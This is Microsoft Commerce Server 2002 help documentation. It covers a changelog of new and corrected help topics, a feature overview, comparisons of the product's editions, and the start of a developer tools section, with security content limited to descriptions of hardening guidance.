Microsoft Commerce Server 2002 Enterprise Edition

Last updated: October 1, 2002
  • Commerce Server Systems
  • Commerce Server Tutorials
  • Commerce Server Documentation Updates
  • Microsoft Product Support Services
  • Commerce Server Support
  • Commerce Server 2002 ISV Partners
  • Commerce Server Solution Sites Web site
  • Retail2002: International Retail Site
  • Microsoft Security Web Site
  • Microsoft Accessibility Web Site
  • White Papers
  • Feedback
Copyright © 1996–2002 Microsoft Corporation.
All rights reserved.


What's New

Send feedback about this page Commerce Server 2002

What’s New

This section describes new and noteworthy information about content updates that have been added since the initial publication of Commerce Server 2002 Help.

This section contains:

  • New Topics in Commerce Server 2002 Help
  • Updated Topics in Commerce Server 2002 Help

Note

  • The July 1st 2002 content update contained topics with documentation errors relating to security issues. For information about the topic updates, see Corrections to security-related topics.


New Topics in Commerce Server 2002 Help

This section lists topics that have been added since the initial publication of Commerce Server 2002 Help.

October 1st 2002 New Topics

July 1st 2002 New Topics

October 1st 2002 New Topics

On October 1st 2002, new topics were added to Commerce Server Help in the following areas:

  • New security-related topic
  • New topic for system administrators
  • New topics for site developers

New security-related topic

Topic | Description
Using Strong Passwords | Describes why you should use strong passwords and how to create them.

New topics for system administrators

Topic | Description
Temporary catalog XML files are not removed from the ProductCatalogs directory | Explains how to prevent your disk from filling up with temporary catalog XML input files.

New topics for site developers

Topic | Description
DictionaryXMLTransformsFreeThreaded | Describes the DictionaryXMLTransformsFreeThreaded object.
BusinessDataAdmin2FreeThreaded | Describes the BusinessDataAdmin2FreeThreaded object.

July 1st 2002 New Topics

On July 1st 2002, new topics were added to Commerce Server Help in the following areas:

  • New security-related topics
  • New topics for system administrators
  • New topics for site developers

New security-related topics

Topic | Description
Archiving Your IIS Log Files | Explains how to move your log files from your Web servers to a more secure location.
Securing BDRefresh.asp, RefreshApp.asp, and Opt-Out.asp | Explains how to secure BDRefresh.asp, RefreshApp.asp, and Opt-Out.asp.
Securing Your IIS Log File Folder | Explains how to secure access to your Internet Information Services (IIS) log file directory.
Securing Your Pipeline Logging Folder | Explains how to secure the folder that contains the pipeline logging files.

New topics for system administrators

Topic | Description
Archiving Your IIS Log Files | Explains how to back up and archive these files.
Enabling Self Registration for the Supplier Solution Site | Explains how to configure the Site Registration Options property so that guest users can self-register.
Error Messages | Lists and describes some of the common Commerce Server 2002 error messages.

New topics for site developers

Topic | Description
Code to Get and Set Multi-valued Profile Properties | A new code sample that shows how to get and set multi-valued profile properties.
Code to Retrieve Custom Attributes on Profile Properties | A new code sample that describes how to retrieve custom attributes on a profile property.
Logging Site Exceptions to the NT Event Log | Provides sample code for logging site exceptions to the NT event log.
Task and Object Mapping from COM to .NET | Lists the COM objects needed to complete common tasks, and their .NET equivalents.


Updated Topics in Commerce Server 2002

This section lists topics that have been updated since the initial publication of Commerce Server 2002 Help.

October 1st 2002 Updated Topics

July 1st 2002 Updated Topics

October 1st 2002 Updated Topics

On October 1st 2002, topics were updated in the following areas:

  • Corrections to security-related topics
  • Security-related topics
  • Topics for Business Desk users
  • Topic for system administrators
  • Topics for site developers

Corrections to security-related topics

The following topics contained documentation errors relating to security issues that were published in the July 1st 2002 update. These topics have been corrected in the October 1st 2002 update.

Topic | Description
Securing the Product Catalog Database | The documentation referenced a script that assigns run-time users who visit your Web site the appropriate level of access to your catalogs. The script does not add the appropriate access. Update: The incorrect reference was removed and the correct script will be made available in Commerce Server Service Pack 2. The tables that are set by the security script contained incorrect stored procedures. Update: The tables have been updated to include the correct stored procedures.
Securing BDRefresh.asp, RefreshApp.asp, and Opt-Out.asp | The documentation required that the BDRefresh.asp, RefreshApp.asp, and Opt-Out.asp files be configured for Windows Authentication for the Commerce Server solution sites. Update: The BDRefresh.asp, RefreshApp.asp, and Opt-Out.asp files are now required to configure anonymous access for the Commerce Server solution sites.

Security-related topics

Topic | Description
Best Practices for Security
  • Explains in detail how to configure settings for accounts using CatalogReader security role.
  • Explains how to set an owner password and a user password when saving a Model Builder DTS task.
  • Explains how to configure IIS to disallow access to files with a .PCF extension.
  • Explains how to configure Event Logs to support Rolling Event Logs.
Securing Service Accounts | Explains how to set access security on Commerce Server services after installing Commerce Server Service Pack 1.
Scripting DTS Tasks | Improves security for the scripting samples.

Topics for Business Desk users

Topic | Descriptions
Designing a Catalog | Describes how to extract data from a catalog for use in a printed catalog.
Adding Custom Catalog Attributes and Property Attributes | Explains how to add a catalog unit of weight measure.

Topic for system administrators

Topic | Description
Step 3: Modifying the Pre-Snapshot.sql Script | Explains how to remove the IDENTITY fields in the tables, adjust the TIMESTAMP fields, and adjust a constraint statement. This is an additional step for the overall procedure for replicating catalog content.

Topics for site developers

Topic | Description
ListManager.CreateFromSQL Method ListManager.ExportToSQL Method ListManager.CreateFromSQL Method (PIA) ListManager.ExportToSQL Method (PIA) | Includes new information for Commerce Server 2002 Service Pack 1.
OrderGroupSearchOptions.FetchOrderFormInformation Property (BCL) OrderGroupSearchOptions.Columns Property (BCL) CatalogSearchOptions.PropertiesToReturn Property (BCL) SampleRegionalTax | Includes new code samples.

July 1st 2002 Updated Topics

On July 1st 2002, topics were updated in the following areas:

  • Security-related topics
  • Topics for system administrators
  • Topics for Business Desk users
  • Topics for site developers

Security-related topics

Topic | Description
Additional Information about Security | Added a reference to several security audit firms.
Authenticating Users in a Web Farm | Added information about the code in the Login.asp page if you are using Windows Authentication mode.
Deploying Commerce Server Using Windows Authentication | Added a table that lists the permissions to grant or deny access in the MSCS_Admin tables. Added the required accounts for the database roles.
Using SQL Authentication | Notes the security risks and steps you must take to secure your site using SQL Authentication.
Using Windows Authentication in a Distributed Deployment | Clarified the information about deploying a remote SQL Server using Windows Authentication.
Deploying a Secure Site | Explains how to deploy a sample secure 10-computer site.

Topics for system administrators

Topic | Description
Authenticating Users in a Web Farm | Clarified the steps required to authenticate users in a Web farm.
Best Practices for Using Site Packager | Added best practices that ensure the secure packaging and unpacking of sites.
Changing the administrative password disconnects the Business Desk client | Provides a solution for the errors you encounter when you change the Commerce Server administrative password on the server.
Configuring the App Default Config Resource | Explains how to configure the App Default Config resource so that guest users can purchase products through the Web site.
Editing RefreshApp.asp | In the "Commerce Server 2002 Upgrade Guide," added a procedure to edit RefreshApp.asp so that the site caches work properly.
Exchange 2000 Outlook Web Access Basic Authentication | Clarified the steps needed to integrate Commerce Server with Outlook Web Access (OWA).
Installing Commerce Server 2002 Resources as Clustered Resources | Added information on hosting and moving cluster groups.
Login.asp Code for the Retail Solution Site | Updated the Login.asp code for the Retail Solution Site to work with Windows 2000 security fixes.
Login.asp Code for the Supplier Solution Site | Updated the Login.asp code for the Supplier Solution Site to work with Windows 2000 security fixes.
Restarting IIS and Commerce Server Services | Added information about restarting IIS and Commerce Server services using the IISreset command. Added a warning that the net start command does not always start dependent services.
Unpacking process fails when using a renamed application | Provides a solution for an unpacking failure.

Topics for Business Desk users

Topic | Descriptions
Adding Custom Catalog Attributes and Property Attributes | Added information about adding unit of weight measures to your catalogs.
Advertising Reports | Changed the report terminology for advertising reports to be more understandable (and correct).
Catalog Name and Size Restrictions | Added information about user-defined properties and catalog attributes to this section.
Securing BDRefresh.asp, RefreshApp.asp, and Opt-Out.asp | Added procedures to secure these files.
Securing Business Desk Modules | Added information to specify that NTFS permissions should not be used on these files; you should use the Business Desk security module only to secure Business Desk modules. Also explains how to reset the ACEs on these files.

Topics for site developers

Topic | Description
About the Direct Mailer Pipeline | Added statement that the Direct Mailer pipeline does not support generating a pipeline log file.
Address Profile Schema UserObject Profile Schema | Added a description of the Commerce Server GUID format.
application Tag | Corrected the debugLevel attribute name. This was incorrectly marked as mode earlier.
AsyncRpt2 | Changed the progID
Auction Component Auction Sitelet | Added instructions for building the Auction component to use the Auction sitelet.
catalog Tag CatalogContext.SetJoinTable (String, String, String, CatalogJoinType) Method (BCL) | Clarified how to perform joins using the joinTable tag and the SetJoinTable method.
CatalogManager.SetJoinTable CatalogManager.SetJoinTable (PIA) | Remarked that you cannot set multiple join keys for a given source field.
Code to Create and Set Profile Properties | Added security note for code sample.
Code to Invoke a Pipeline | Added a security note.
Code to Search for an Order and Display Line Item Information | Updated the code sample to authenticate users before displaying order information.
Commerce Server .NET Application Framework Tutorial | Updated steps and code samples for improved functionality and user experience.
CSFLoadAdvertisments CSFLoadDiscounts | Added configuration values and a procedure for modifying the default SQL query.
Deploying Catalogs | Added a procedure to use the CatalogCleanup.vbs script to delete temporary tables from the MSCS_CatalogScratch database in order to increase performance.
Deploying the International Retail Site (Retail2002) | This topic stated that the Business Analytics System did not support the Retail2002 site. After further testing this statement was proven false; the Business Analytics System does in fact support the Retail2002 Site. The incorrect statement was removed from this topic.
Developer Tools | Removed mention of the AddModuleToConfig.vbs file.
DTSLogImport.VLogFileInfo Property | Corrected code sample to use | separated values instead of comma separated values.
Enabling Passport | Clarified how to enable the Passport sign-out function.
ExpressionStore.GetExprName ExpressionStore.GetExprName (PIA) | Clarified return values and error messages.
Generating Public and Private Keys | Added line in the code sample.
GlobalConfig GlobalConfig2 GlobalConfig (PIA) GlobalConfig2 (PIA) | Described the relationship between the GlobalConfig objects and IIS 6.0.
Lifecycle of a Request of a Targeted Advertisement | Added information on the context dictionaries that the Advertising pipeline uses.
OLE DB Provider Error Messages for Data Warehouse and Analysis | Combined all Data Warehouse and Analysis error messages into one table on one page for improved searching.
OrderGroup.SaveAsBasket Method (PIA) OrderGroup.SaveAsOrder Method (PIA) OrderGroup.SaveAsTemplate Method (PIA) | Added new material to the remarks section for these topics.
Passport Integration Features | Clarified the relationship between Passport and running a Web site in cookieless mode.
payment.asp | Added a code sample to enable guest users to purchase items using a purchase order.
Pipeline Log Files | Added statement that the Direct Mailer pipeline does not support generating a pipeline log file.
Profiles Programming Workflow | Removed duplicate content from the Profiles Programming Workflow topic.
ProfileCollection.Item | Corrected a property description.
ProfileContext | Expanded the description of constructors.
ProfilePropertyCollection.CopyTo | Modified the Remarks about always throwing an exception.
ProfilePropertyGroupCollection.Count | Improved a property description.
ProfileService.Initialize Method | Changed code sample to use integrated security.
ProfileService.Initialize Method (PIA) | Changed code sample to use integrated security.
Programming Best Practices for Catalogs | Described how to set the fulltextsearchable property on a multilingual text property.
Reporting on a Custom Commerce Event | Updated the code sample to authenticate users before displaying order information.
RequiredItemAdjustCy, RequiredItemAdjust | Added this reference page for a previously undocumented component.
Retail2002B2B\B2BAdaptors Folder | Changed the name of the adaptors to match with the code.
Setting up the International Retail Site Setting up the International Retail Site with Visual Studio.NET | Added warnings and clarified the setup procedures.
Setting Up the Pipeline and Cache | Updated the code sample to use integrated security.
ShippingDiscountAdjust | Clarified free shipping discounts.
Summary of Required Steps in Building a New Commerce Server Business Desk Module | Removed mention of the AddModuleToConfig.vbs file.
Using the Pipeline Component Registration Tool | Updated this procedure.


Getting Started

Microsoft Commerce Server 2002 provides a set of tools for the site developer, system administrator, and business manager to develop, deploy, and manage commerce applications for the Web.

Use this table for quick access to important topics in Commerce Server 2002 Help.

To learn about | See
Installing, upgrading, and deploying Commerce Server | Installing Commerce Server 2002 Upgrading from Previous Versions Unpacking a Site Deploying Your Site Replicating Catalog Content Maintaining High Availability
Commerce Server architecture | Commerce Server Architecture Business Desk Architecture Commerce Server .NET Application Framework Basic Structures of the Logical Schema Pipeline Basics Planning Your Site Architecture
Planning and designing a new site | Solution Sites Planning Your Commerce Server Installation International Transactions
Developing applications | Developer Tools Software Development Kit Programmer's Reference Commerce Server .NET Application Framework International Retail Site Developing an International Site Integrating with BizTalk Server Integrating Custom Resources Building Business Desk Modules Troubleshooting Your Applications
Security | Best Practices for Security Important Security Notes Developing a Secure Site Deploying a Secure Site Securing Your Databases
Authentication | Best Practices for Authentication Integrating with Passport Exchange 2000 Outlook Web Access Basic Authentication Core Objects Code to Retrieve Login Credentials Login.asp Code for the Retail Solution Site Login.asp Code for the Supplier Solution Site AuthManager Object
Managing sites, applications, and resources | System Administrator Tools Managing Commerce Sites Managing Commerce Applications and Web Servers Managing Commerce Resources Scripting DTS Tasks
Managing databases | Databases Managing the Administration Database Managing Data Sources in the Profiles Resource
Product Catalog System | Product Catalog System Catalog Concepts Best Practices for Catalogs Importing an XML Catalog File Creating a Catalog Definition Creating a Catalog Pricing a Product in a Base Catalog Product Catalog Objects Catalog XML Structures Integrating a Third-Party Product Catalog Replicating Catalog Content
Profiling System | Profiling System Profile Concepts Profiling System Objects Profiles Schema Profiling System and the OLE DB Provider Profile XML Structures Managing Data Sources in the Profiles Resource Managing Profile Definitions in the Profiles Resource Creating a Profile Definition with Two Data Sources Business Desk Profiles
Business Analytics System | Business Analytics System Creating Custom Reports Analysis/Reporting Schema Analysis/Reporting XML Structures Business Desk Analysis
Predictor | Predictor Predictor Resource Tutorial Prediction and Data Mining Concepts Predictor Schema Analysis Models Running the Predictor Resource
Data Warehouse | Data Warehouse Data Warehouse Concepts Extending the Data Warehouse Logical Schema Data Warehouse Schema Data Warehouse, Analysis, and the OLE DB Provider Multiple Sites and One Data Warehouse Data Warehouse Import Wizard Importing Data into the Data Warehouse Scripting DTS Tasks
Targeting System | Targeting System Targeting and Personalization Concepts Business Desk Campaigns ExpressionBuilder Expression XML Structures Targeting Objects Extending the Content Selection Framework
Campaigns | Campaigns Campaign Concepts Creating a Marketing Campaign Creating an Ad
Discounts | Discount Concepts Creating a Discount Discount Examples
Direct Mail | Commerce Server Direct Mailer Direct Mail Concepts Running Direct Mailer Creating Direct Mail Creating a Mailing List Direct Mailer Pipeline
Orders | Order Management Concepts Finding, Viewing, and Sorting Orders
Business process pipelines | Pipeline Concepts Working with Pipelines Building Pipeline Components Pipeline Objects Pipeline Component Reference


Introducing Commerce Server 2002

Commerce Server is a comprehensive e-business platform that includes features for different users: developers, system administrators, and business managers. In addition, Commerce Server is available in three editions, which provide different features and scalability options.

You use Commerce Server to build scalable and highly available business-to-consumer (B2C) and business-to-business (B2B) site applications.

Commerce Server Components

Commerce Server components are categorized into five systems. These systems provide the critical e-commerce infrastructure needed to build an effective online business.

  • Product Catalog System. Manage millions of products, create multilingual and multicurrency catalogs, and make it convenient for users to find the products and services they need.
  • Profiling System. Profile and manage your customers and trading partners for site usage authentication and advanced targeting and personalization.
  • Business Analytics System. Analyze site effectiveness by running Commerce Server reports, or by creating your own custom reports. Provide intelligent cross-sell capabilities, and dynamically recommend products to users as they navigate your site.
  • Targeting System. Personalize the buying experience with one-to-one marketing and targeted merchandising that increases the ordering convenience and relevance of content for your customers.
  • Business Processing Pipeline System. Tailor your order and merchandising processes to fit your requirements today, while being able to easily modify them over time, as your business grows and changes.

Commerce Server Tools

You use the following tools to develop and manage a Commerce Server site.

  • Commerce Server .NET Application Framework. A framework that enables you to create .NET-based Commerce Server applications using the new features of the .NET Framework. The Commerce Server .NET application framework provides two new layers to the Commerce Server platform: the Base Class Library and the Common Language Runtime Interop Layer. These layers allow ASP.NET code to run Commerce Server services and systems. Using Visual Studio .NET, you can access Commerce Server features and tools to build Commerce Server applications.
  • Solution Sites. Development reference sites that provide an integrated set of features included in Commerce Server. The Solution Sites provide the following features: multilingual, multicurrency, merchandising, catalog display, customer service, and order capture and receipt.

    Because the Solution Sites provide comprehensive e-commerce functionality, you can use them as a starting point for developing your own Web sites, and, when you are ready, add functionality that is specific to your business.

  • Commerce Server Site Packager. A deployment tool that you use to package your site and its applications and resources into a single file, and then move that file to another environment. You use it to package your Commerce Server site (including the IIS metabase settings), file system, resources from the Administration database, and SQL Server databases into a single file. You also use it to unpack the Commerce Server site (or portions of it) onto other computers.
  • Commerce Server Business Desk. An extensible tool that business managers use to manage and analyze their Web sites. For example, you use Business Desk features to update pricing information in your catalogs, target new advertisements to specific users, and then run reports to measure how these changes affect site productivity.

    Business Desk applications are provided in Solution Site packages. After you install Commerce Server, you must unpack a Solution Site to install a Business Desk application.

See Also

Editions of Commerce Server 2002

Commerce Server Features at a Glance

Commerce Server Architecture

Commerce Server Concepts

Retail2002: International Retail Site


Commerce Server Features at a Glance

Commerce Server 2002 features function together seamlessly, enabling you to provide merchandising, catalog display, customer service, and order management and receipt.

The following table provides an overview of the Commerce Server features.

Commerce Server Feature Description
Product Catalog System
  • Create and update catalogs of products to sell.
  • Create multilingual catalogs.
  • Create multicurrency catalogs.
  • Import catalogs of products from other data sources in XML or CSV format.
  • Export catalogs in XML format.
  • Export changes to a catalog since a certain date.
  • Add integrated search capabilities, making it easy for users to find what they need:
    • Category search. Browse by product category.
    • Free-text search. Find products by full or partial name or property.
    • Property search. Find products based on a property value, such as Price < $10.
    • Specification search. Refine the search request until the product is found.
  • Build virtual catalogs with special pricing for groups of users.
  • Apply discounts to products.
  • Identify which products are selling by running Commerce Server reports.
  • Exchange catalog data with vendors by using Microsoft BizTalk Server 2000.
Profiling System
  • Manage millions of users and organizations.
  • Enable users to manage their own profile information and to research the status of their order.
  • Build profiles for any business-related entity, such as users or organizations.
  • Determine what information to collect about the users visiting your site.
  • Determine what information to display to specific users, such as virtual catalogs.
  • Analyze profile information to determine who is visiting your site.
  • Create target expressions to match content to users.
  • Create advertising, discount, and direct mail campaigns to target specific user groups.
Business Analytics System
  • Import large amounts of site usage data collected from different data sources into the Commerce Server Data Warehouse, and manage the data.
  • Analyze site effectiveness by running Commerce Server reports, or by creating your own custom reports.
  • Identify specific groups of users by running a report, and then export the results to a list. Use the list in a direct mail campaign, or to update the properties of the users so you can target merchandise or content to them.
  • Review collected data to identify hidden trends and new customer segments, and to view the properties of the segments.
  • Provide intelligent cross-sell capabilities, and dynamically recommend products to users as they navigate your site.
Targeting System
  • Personalize the buying experience with targeted merchandising.
  • Deliver the optimal content for a given user in a given context.
  • Create, analyze, and manage personalized and targeted discounts, and direct marketing and advertising campaigns.
  • Add predictive capabilities to your Web site.
  • Target ads or discounts to users of a specific profile. For example, you can target ads to female users who visit your site three times a week, and who have purchased three or more products.
  • Create and schedule campaigns for customers who compete within the same industry. The competing ads are never shown on the same page.
  • Charge your advertising customers based on the number of ad requests or clicks they want their ads to receive.
  • Charge your advertising customers based upon the page on which they want their ad to appear.
Business Processing Pipeline System
  • Customize your order, targeting, and merchandising processes.
  • Define and link together the stages of a business process.

See Also

Editions of Commerce Server 2002

Comparison of Features in Commerce Server Editions

Commerce Server Architecture

Commerce Server Concepts

Commerce Server .NET Application Framework

Retail2002: International Retail Site


Editions of Commerce Server 2002

The following editions of Microsoft Commerce Server 2002 are currently available.

  • Commerce Server 2002 Standard Edition

    Standard Edition is designed for developing and managing medium-scale Web sites. Standard Edition scales to:

    • Two processors.
    • Two Web servers per application. Up to 10 applications are supported on a single IIS Web server.
    • Two Commerce Server applications per site: one Business Desk application and one non-Business Desk application. For example, you might install the Retail Solution Site application, or a non-Commerce application, and then the Business Desk application.
    • Ten sites per Data Warehouse.
    • Ten sites per Profiles database.

    Standard Edition provides basic analytic features that enable you to analyze data metrics for Web usage and product sales.

  • Commerce Server 2002 Enterprise Edition

    Enterprise Edition is designed for developing and managing large-scale or high-traffic Web sites. Enterprise Edition scales to:

    • 32 processors
    • As many Web servers and Commerce Server applications as your hardware supports. Up to 10 applications are supported on a single IIS Web server. These applications can be contained in a single site, or distributed across many sites.
    • Ten sites per Data Warehouse.
    • Ten sites per Profiles database.

    Enterprise Edition is also designed to support sites that need advanced analytics. It provides the ability to analyze user profile data and marketing campaigns, and then use the results of your analysis to target content on your site. The advanced analysis features support the ability to provide real-time recommendations to users visiting your site.

  • Commerce Server 2002 Developer Edition

    Developer Edition is the commerce solution for developing large-scale, multilingual, highly available sites. The Developer Edition includes the same features as the Enterprise Edition, however, it cannot be used in a production environment, and it has a four-processor limitation.

    The Developer Edition includes extensive documentation for developers, as well as an extended set of samples.

Using a Combination of Standard Edition and Enterprise Edition

You may choose to create an environment that uses Commerce Server Standard Edition, Enterprise Edition, and Developer Edition. This configuration may be useful if, for example, you purchase Developer Edition first, then Standard Edition, and then later decide you want the additional functionality provided in Enterprise Edition.

Following are the supported deployment scenarios using multiple different editions of Commerce Server. Other configurations are not supported.

  • Standard Edition on one or two Web servers for one Commerce Server application, and Standard Edition for the Data Warehouse.
  • Standard Edition on one or two Web servers for one Commerce Server application, and Enterprise Edition for the Data Warehouse.
  • Enterprise Edition on Web servers, and Enterprise Edition for the Data Warehouse.
  • Developer Edition on Web servers, and Standard Edition or Enterprise Edition for the Data Warehouse.
  • Developer Edition for Web servers, and Developer Edition for Data Warehouse. You cannot use this configuration in a production environment.

Standard Edition and Enterprise Edition sites cannot share the same Data Warehouse.

Upgrading to Commerce Server 2002, Enterprise Edition

Commerce Server 2000

To upgrade from Commerce Server 2000 to Commerce Server 2002 Enterprise Edition, see Commerce Server 2002 Upgrade Guide.

Commerce Server 2002 Enterprise Edition includes a variety of tools you use to upgrade your installation, depending on the resources and the components you are upgrading.

Site Server 3.0

You can upgrade from Site Server 3.0 Standard or Commerce Editions to Commerce Server 2002. In order to upgrade, create a new site to migrate behavior, content, and data. Migration of the site code is necessary to successfully move your Site Server 3.0 Edition site to Commerce Server 2002. For instructions, see Upgrading from Site Server 3.0.

See Also

Sharing Resources Across Sites

Comparison of Features in Commerce Server Editions


Comparison of Features in Commerce Server Editions

This topic summarizes the features supported by Microsoft Commerce Server 2000, Commerce Server 2002 Enterprise Edition, and Commerce Server 2002 Standard Edition. Information about Commerce Server 2000 is provided for comparison purposes.

Note

  • Commerce Server 2002 Developer Edition contains the same features as Enterprise Edition. However, the developer edition cannot be used in a production environment and has a four-processor limitation.

For information about the .NET compatibility features in Commerce Server 2002, see Commerce Server .NET Application Framework. For information about the International Retail Site, see Retail2002: International Retail Site.

The following features are discussed in this topic:

  • High Availability Features
  • Authentication Features
  • Administration Features
  • Business Desk Features
  • Business Analytics Features
  • Data Warehouse Features
  • Product Catalog System Features
  • Profiling System Features
  • Targeting System Features

High Availability Features

This table compares support for high availability features in the editions of Commerce Server.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Very high availability | Yes | Yes | No
Predictor and Direct Mailer are Windows Clustering cluster-aware | Yes | Yes | No
Predictor and Direct Mailer support failover to all cluster nodes | Yes | Yes | No
Predictor and Direct Mailer can install on 2 nodes on Windows 2000 Advanced Server | Yes | Yes | No
Predictor and Direct Mailer can install on 2, 3, and 4 nodes on Windows 2000 Datacenter Server | Yes | Yes | No
Run-time components survive failover of dependent Windows services, application server, or underlying data stores | Yes | Yes | No
An order queuing sample in the SDK, showing how to process orders offline, a high-availability best practice | Yes | Yes | No

Authentication Features

This table compares support for Authentication features in the editions of Commerce Server.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Exchange 2000 Outlook Web Access (OWA) Basic Authentication | Yes | Yes | No
Allows old profile cookies to be decrypted | Yes | Yes | No
Rolling key encryption | Yes | Yes | No
Maintains visit history in the Data Warehouse | Yes | Yes | Yes
Cookieless shopping | Yes | Yes | Yes
Provides granular access control using access control lists (ACLs) | Yes | Yes | Yes
Supports custom login pages for retrieving Windows credentials | Yes | Yes | Yes
URL case correction | Yes | Yes | Yes
Web farm environments | Yes | Yes | Yes
ASP-intrinsics | Yes | Yes | Yes
Provides the option of using Active Directory and/or SQL Server for storing user profiles | Yes | Yes | Yes
Access level control | Yes | Yes | Yes
Accepts security credentials from user | Yes | Yes | Yes

Administration Features

This table compares support for Administration features in the editions of Commerce Server.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Supports unpacking a site to remote servers | Yes | Yes | No
Allows host headers and multiple identities to be stored in the Administration database for the Web site | Yes | Yes | No
Integrates with Content Management Server 2001 and later editions | Yes | Yes | No
Integrates with BizTalk Server 2000 and later editions | Yes | Yes | Yes

Business Desk Features

This table compares support for Business Desk features in the editions of Commerce Server.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Style sheets for different themes, including high contrast for accessibility | Yes | Yes | No
Access control for individual Business Desk modules | Yes | Yes | Yes
Security settings for Business Desk tasks | Yes | Yes | No
Security settings for managing catalogs | Yes | Yes | No
Security settings for editing catalog properties | Yes | Yes | No
Security settings for managing catalog categories | Yes | Yes | No
Security settings for managing profile properties | Yes | Yes | No

Business Analytics Features

This table compares support for Business Analytics features in the editions of Commerce Server.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Stand-alone Business Analytics installation | Yes | Yes | No
Data Warehouse Import Wizard | Yes | Yes | No
Remote access to OLAP cubes (requires SQL Server 2000 Enterprise Edition) | Yes | Yes | No
New report creation supported | Yes (using Business Desk) | No | Yes
User profile reports | Yes | No | Yes
Marketing campaign reports | Yes | No | Yes
Real-time recommendations | Yes | No | Yes
Exports reports as lists to the Profiling System or Targeting System | Yes | No | Yes
Groups published reports | Yes | Yes | No
Report drill-through capability | Yes | Yes | No
Across-domain reporting | Yes | Yes | No
Prediction models to analyze usage behavior | Yes | No | Yes
Segment models for analyzing population segments | Yes | No | Yes
Affinity lists | Yes | No | No
Exports Segment model as list | Yes | No | Yes

Data Warehouse Features

This table compares support for Data Warehouse features in the editions of Commerce Server.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Includes Data Warehouse schema diagram | Yes | No | Yes
Sets log file restart parameters | Yes | Yes | No
Sets connection retry parameters for all DTS tasks | Yes | Yes | No
Deletes imported logs on a rotating time basis | Yes | Yes | No
Runs a DTS task for all sites in a Data Warehouse (for relevant DTS tasks) | Yes | Yes | No
Runs a DTS task for a single site in a Data Warehouse | Yes | Yes | Yes
Rebuilds prediction/segment models automatically | Yes | No | No
Supports scripts for DTS tasks | Yes | No | No
Schedules DTS packages | Yes | Yes | Yes
Displays the import progress data | Yes | Yes | No
Uses log file masking | Yes | Yes | No
Imports cookieless user data | Yes | Yes | No
Imports Unicode characters | Yes | Yes | No
Imports UTF-8 log files | Yes | Yes | No

Product Catalog System Features

This table compares support for Product Catalog System features in the editions of Commerce Server.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
*Scales to 10,000 catalogs (tested limit) | Yes | Yes | No
*Scales to 5 million products per catalog (tested limit) | Yes | Yes | No
Multicurrency pricing | Yes | Yes | No
Multilingual catalogs | Yes | Yes | No
Virtual catalogs | Yes | Yes | No
Custom catalogs | No (replaced by virtual catalogs) | No (replaced by virtual catalogs) | Yes
Catalog sets | Yes | Yes | Yes
Aggregated content from multiple catalogs | Yes | Yes | No
Validate the content of an XML catalog file without importing it | Yes | Yes | No
Import and export of catalog item deletions | Yes | Yes | No
Exports changes to a catalog since a certain date | Yes | Yes | No
Creates relationships between products across catalogs | Yes | Yes | No
Exchanges catalog data with vendors by using Microsoft BizTalk Server 2000 or later | Yes | Yes | Yes
User-defined catalog attributes and user-defined property attributes | Yes | Yes | No
Searches within a category | Yes | Yes | No
SQL Text data types for products (not subject to the 8 KB/row limit) | Yes | Yes | No
Can perform queries joined with external tables | Yes | Yes | No

The configuration of 10,000 catalogs with 5 million products in each catalog has not been tested.

Profiling System Features

This table compares support for Profiling System features in the editions of Commerce Server.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Scales to 10 million unique users in Active Directory | Yes | Yes | No
Scales to 25 million unique users in SQL Server | Yes | Yes | No
Profile definition design interface | Yes | Yes | Yes
Profile editing | Yes | Yes | Yes (limited to Users and Organizations)
Site term editing | Yes | Yes | Yes
Active Directory group management using Business Desk | Yes | Yes | No
Multi-valued profiles | Yes | Yes | No
Multi-valued site terms | Yes | Yes | No
Embedded profile editing | Yes | Yes | No
Generic profile editing | Yes | Yes | No
Import and export profile schema | Yes | Yes | No

Targeting System Features

This table compares support for Targeting System features in the editions of Commerce Server.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Multilingual ads and discounts | Yes | Yes | No
Applies multiple discounts to an item or order, and controls the order in which the discounts are applied | Yes | Yes | No
Applies dollar-discount and percentage discounts to an item or an order, and controls the order in which the discounts are applied. | Yes | Yes | No
Flags whether an item can be discounted | Yes | Yes | No
Direct Mailer can be deployed on a server that does not have SQL Server installed | Yes | Yes | No
Direct Mailer can be deployed as a highly available clustered resource that takes advantage of Windows Clustering | Yes | Yes | No
Direct Mailer survives transient failures | Yes | Yes | No
Integrated authentication for Direct Mailer in SQL Server | Yes | Yes | No

See Also

Commerce Server .NET Application Framework

Retail2002: International Retail Site


Developer Tools

The following Commerce Server 2002 development tools are designed to help site developers build and customize sites quickly, and to then transfer them to customers:

  • Solution Sites
  • Retail2002: International Retail Site: A .NET-Based Site
  • Commerce Server .NET Application Framework
  • Commerce Server Developer Portal
  • Commerce Server SDK
  • Developer's Documentation
  • Commerce Server 2000 Resource Kit
  • White papers
  • Knowledge Base Articles

Solution Sites

The Solution Sites are development reference sites that provide an integrated set of features included in Commerce Server. The Solution Sites provide merchandising, catalog display, customer service, and order capture and receipt.

Because the Solution Sites provide comprehensive e-commerce functionality, you can use them as a starting point for developing your own Web sites, and, when you are ready, add functionality that is specific to your business.

The Solution Sites include Business Desk applications. You can get a Business Desk application only by unpacking a Solution Site.

Commerce Server 2002 includes the following Solution Sites:

  • Blank site. You can use this Solution Site as a starting point for building your own custom site. It includes all of the Commerce Server 2002 resources. The Blank site is installed with Commerce Server 2002.
  • Visual Basic .NET Site. You can use this Solution Site as a starting point for building your own custom site using Microsoft Visual Basic .NET without using Microsoft Visual Studio .NET. The Visual Basic .NET Site (VB.pup) is installed with Commerce Server 2002.
  • C# Site. You can use this Solution Site as a starting point for building your own custom site using Microsoft C# without using Microsoft Visual Studio .NET. The Visual Basic .NET Site (CSharp.pup) is installed with Commerce Server 2002.
